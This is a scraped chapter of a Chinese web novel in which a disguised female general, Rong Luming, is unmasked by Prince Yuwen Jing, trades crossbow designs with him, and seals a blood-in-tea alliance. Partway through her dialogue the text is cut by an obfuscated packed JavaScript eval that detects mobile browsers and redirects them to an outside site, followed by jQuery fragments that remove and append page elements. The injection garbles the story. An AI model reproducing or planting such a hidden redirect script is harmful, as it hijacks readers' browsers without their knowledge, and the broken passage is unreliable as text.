默认冷灰
24号文字
方正启体

70. 血色婚礼(十八)

作者:猫水仙本书字数:K更新时间:
    “王爷,某与手下之人倾慕贵国的弓弩之术日久。趁着军中无事,特意化名来此,如有冒犯之处,还请王爷责罚。”容鹿鸣起身,恭敬地施了一礼。


    “那倒不必,你且坐下”,宇文靖饮了口茶,“你我两国虽说重盟在即,可弓弩之术的交换,并不在条约之内。所以说,你是来偷师我国弓弩之术的?”


    “王爷虽这般问某,却以茶相待而非压入地牢严加审讯,便是信某。某亦以君子之道还之。居此一月有余,某虽翻看过王爷带去‘三厅’的图纸,但并无所获。不过,修理过这么些弓弩,某确有一点心得,晋国愿与西戎共享。”容鹿鸣自袖中取出几张图纸,一一展开,置于宇文靖面前。


    “这是某针对西戎常用的几款弓弩的改进之策,亦结合了我们晋国的制弩技术。”


    宇文靖如获至宝,捧在手中看了又看,才依依不舍地收入一旁镶螺钿的长匣中。


    随后,他看着容鹿鸣,幽幽地笑了。


    这笑是个什么意味?容鹿鸣没猜透。却见宇文靖带着薄茧的大手迎面而来,她立即侧开——晚了一步,宇文靖已自她喉间撕下一个小物。


    “把个假喉结做的如此精巧,容少将真乃手艺绝妙。”


    容鹿鸣不羞怯、不回避,反而坦然地回望他,“钻研技艺之事,只在用心一也,与是男、是女可有什么关系?”


    宇文靖闻言赧然,“容少将所言极是。只是,我还有一问”,他突然凑近容鹿鸣,盯住她的眼睛,“连弩之事,你可有头绪?”


    两国都在研制连弩。他可不信她对这里的连弩毫无兴趣。像她这般聪慧之人,若非已有收获,怎会坦白诸事以求脱身?


    停了一瞬,然后,笑意在她眼里浅浅汇集,若星辉,“某实驽钝,观览西戎能工巧匠之作月余,却无所获。”


    她停了一瞬、只停了一瞬。


    可对宇文靖而言,足够了。他审问过太多人,太懂那些转瞬即逝的沉默有何意味。他几乎可以肯定,短短一日之内,她已得到连弩之术。


    他右手在书案之上缓握成拳,于脑中如数家珍,其实有许多种方法可以令她开口。沉香的味道缓慢缭绕。


    她立即觉出了自己的疏漏。可并不慌乱,只是轻轻笑了笑,曳动着,如擦过烛火的风。令他觉得,纵使铁锁加身、利刃抵喉,她也绝不会吐露她不想说的。


    他于是也笑了。她无所畏惧、心存死志,酷刑于她而言无用。他心里暗暗松了口气,其实也不会真的令她受苦,但仅仅想到或许要吓她一吓,已令他深感不安。


    对于面前人,他有种没来由的熟悉感。他不敢深想,且随它去。除此之外,大约也因她实在太过好看。


    美人他自小见得太多,花开百种,各怀芳美。初次见容鹿鸣,他只觉得此人甚是俊美,当然,甚是俊美的人还有不少。


    去了几次“三厅”,既想与她作伴,又想以她做“饵”。


    与她谈说天地,看她修理弓弩,宇文靖渐渐觉得,移不开眼睛。她的眼神、谈笑,她修好的弓弩、随手插的一支花朵,俯在旧柏木案子上小憩,沾着锈渍和铁腥味儿的手指……诸种细节看在他眼里,他本是在寻纰漏的,却不想寻出了滋味——于寻常之中,她时而轻盈,时而凝重,有时无所负累,却又能将手中事务做到至善,外人闲言,不沾她身。


    他想到《维摩诘经·观众生品第七》中的一个故事。彼时,天女施展神通,将天上的花瓣散落下来。菩萨因无分别心,故而花瓣落在菩萨身上时,纷纷滑落在地;可落在佛陀的声闻弟子——舍利弗等的身上时,却粘着不去。舍利佛于是心生疑惑,天女解释道:“勿谓此花为不如法。所以者何?是花无所分别,仁者自生分别想耳!”


    想她亦如此,因无分别心,诸花不沾衣,心净则世间净。


    何为“花”,何为“我”,倘若心无我执,“花”又缘何沾衣?


    他越发觉得她好看,说不出因由。像是偶然得见一处极灵秀的山水,只能拊掌赞叹,美在言外,难以言说。


    蓦地发觉此人是女子。宇文靖觉得这好看突地向纵深处蔓延,一下子洞穿了他的心窍,心里热热的,血液溢动,竟像是敞开了个甜美的伤口。


    他一直对她存着渴慕,毫不避讳,即便她奴籍在身。“百里奚举于市”,他并不在意。而在这半日之间,有些事情不一样了。先前他的渴慕是吐哺握发般的期冀,而此刻,他清楚地感到,自己心中,升起另一种欲念。


    他已数次见过至亲相屠,对于人性,本已不抱期望。陛下多次意图赐婚,他都一一谢过,不过是权欲交换的悲喜,他不愿拖累旁人,更不想被人所累。


    本已决定要孓然一身,看这权柄倘不沾血,能在他手中握多久,却不想,因缘际会,见着了她——传闻中的容家少将军。


    能与传闻相符者,十之一二已算多。可放到容鹿鸣这里,宇文靖却觉得她比传闻中的,更要光彩动人。


    她的光是温煦的。或是说,一个人愈要隐藏她的光彩,愈会显出这种自洽与温润,若美玉悬世?


    世事嘈杂,唯她是静的,或者说,是从容的。看花时从容、饮茶时从容、修弓弩时从容,杀人时,也从容。她太适合站到那个位置上去,与他并肩而立。


    他没来得及细品自己暗涌的情愫,细微的情感,他一向任其自去。他不会知道,日后自己会为了得到她,不惜一切。


    “金瓯永固”的理想他不曾对人说过。但他心里明白,若与他共守“金瓯无缺”的人是容鹿鸣,那可真是“和乐优洽,终然允臧”。


    “冒昧一问,容少将可有婚配?”宇文靖头脑一热,就这么问了出来。


    这话着实冒失,容鹿鸣一怔,望着他,勾了勾嘴角。


    “何用谈婚娶?某明白靖王所想,愿与靖王结盟。”


    宇文靖也望着她,眼里笑意不减,“看来,容少将似乎对我西戎政局颇为了解呐。”


    “彼此彼此,靖王难道不是?”容鹿鸣为宇文靖添茶,为自己也添了些。


    “晋国百姓亟盼和平,相信西戎百姓亦是。若我们两国共守盟约,各自发展农耕,与民生息,岂不是一件美事?”


    宇文靖见她和缓地笑着,茶有些烫口,她饮着时挑动了眉梢。然后又看向他,眼神清澈澄净。


    他有些看不透她了,“你当真是容雅歌的妹妹,容家的少将军?”


    “如假


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231985|171898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    包换。”


    “你既不想嫁个贵宦夫婿,也不想更多的征战、军功、王爵?当然,你已足够显赫了。”


    “非也,靖王。我上战场不是为了军功。战,是为了止战。只待战事平了,我就谢了戎装、归还玉圭,去……放诞任自然。”


    宇文靖起初以为她在玩笑,可看着她清亮的眼睛,便知其所言,出自本心。心下惊动,他想:这世上竟真有权欲困不住的人!


    “所以靖王,我们的盟约,成了吗?”


    宇文靖郑重地站起身,从袖间抽出几乎从不离身的薄刃匕首,于手腕处划下一记血线,血滴落入茶盏,溅起碧水。


    “且以茶代酒,共饮此杯。”他双手举杯,递与容鹿鸣。容鹿鸣亦如此。


    茶水入喉,血腥扑鼻。宇文靖却觉得,这是他喝过最好的茶。


    这茶在容鹿鸣唇上留下一记红痕,很好看。宇文靖很想逾矩地将它抹去,又想就这样静静地,坐在一旁欣赏。


    血腥味。容鹿鸣微微偏头,深深吸了口缭绕而来的沉香,郁郁药香之中,一丝清甜沁过来,她舒了口气,自袖中取出一物,置于案上。


    柳叶宽的一截人皮。


    宇文靖往后靠了靠,“容少将这是?”


    “王爷拿起来细看便知。”


    宇文靖屏住呼吸,用手指触了一下,“你从谁那里割下来的?”


    “靖王看不出吗?这不是真的皮肉,是某自那位‘郭副掌事’颈肩处割下来的。”


    “这是他易容术的面皮?”


    “是。不知靖王可有了解,天下易容之术,分为三大流派。而这一种,容鹿鸣把那“皮肉”放在鼻端闻了闻,又把其内侧新鲜的剖面翻给宇文靖看。


    宇文靖放在案上的手往后缩了一下。


    容鹿鸣忍住笑,正色道:“各个流派,手法不同,所用材料亦不同。据某所知,能做到此等以假乱真者,唯有……”


    她点到即止,宇文靖却已然想起了什么。他自幼常在宫中行走,对本国的几种秘术均有涉猎。方才他未有往此处想,是因为,精通此术者,必为陛下心腹之人。换而言之,不是奕王,而是陛下想从他手中窃取图纸……


    为何?


    他不仅为陛下至亲,更是陛下近臣。难道说,陛下心中的天平已向奕王倾斜?


    见宇文靖面色阴晴不定,容鹿鸣起身,施了一礼,“言尽于此,靖王,某先行告退。”


    “那我们的盟约……”


    “为了两国的盟约长久,倘若靖王需要,某万死不辞。”


    “好,本王亦如是!”


    “那你这便要回晋国了吗?”宇文靖忍不住问。


    “骤然离去,恐引人疑窦。过个几日,某寻了理由再去。”


    容鹿鸣有她的打算,用个巧妙的法子离开岂不更好?


    话音落了,她转身往外走。


    “靖王妃这个位置,真不再考虑一下?”


    “不了,谢靖王青睐。”容鹿鸣挥挥手,没有回头。


    宇文靖觉得心里又沉又暖地落下了一记什么,是一道印记、轮廓?


    都不是。可自此之后,靖王妃的位置,他竟未再想过旁人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)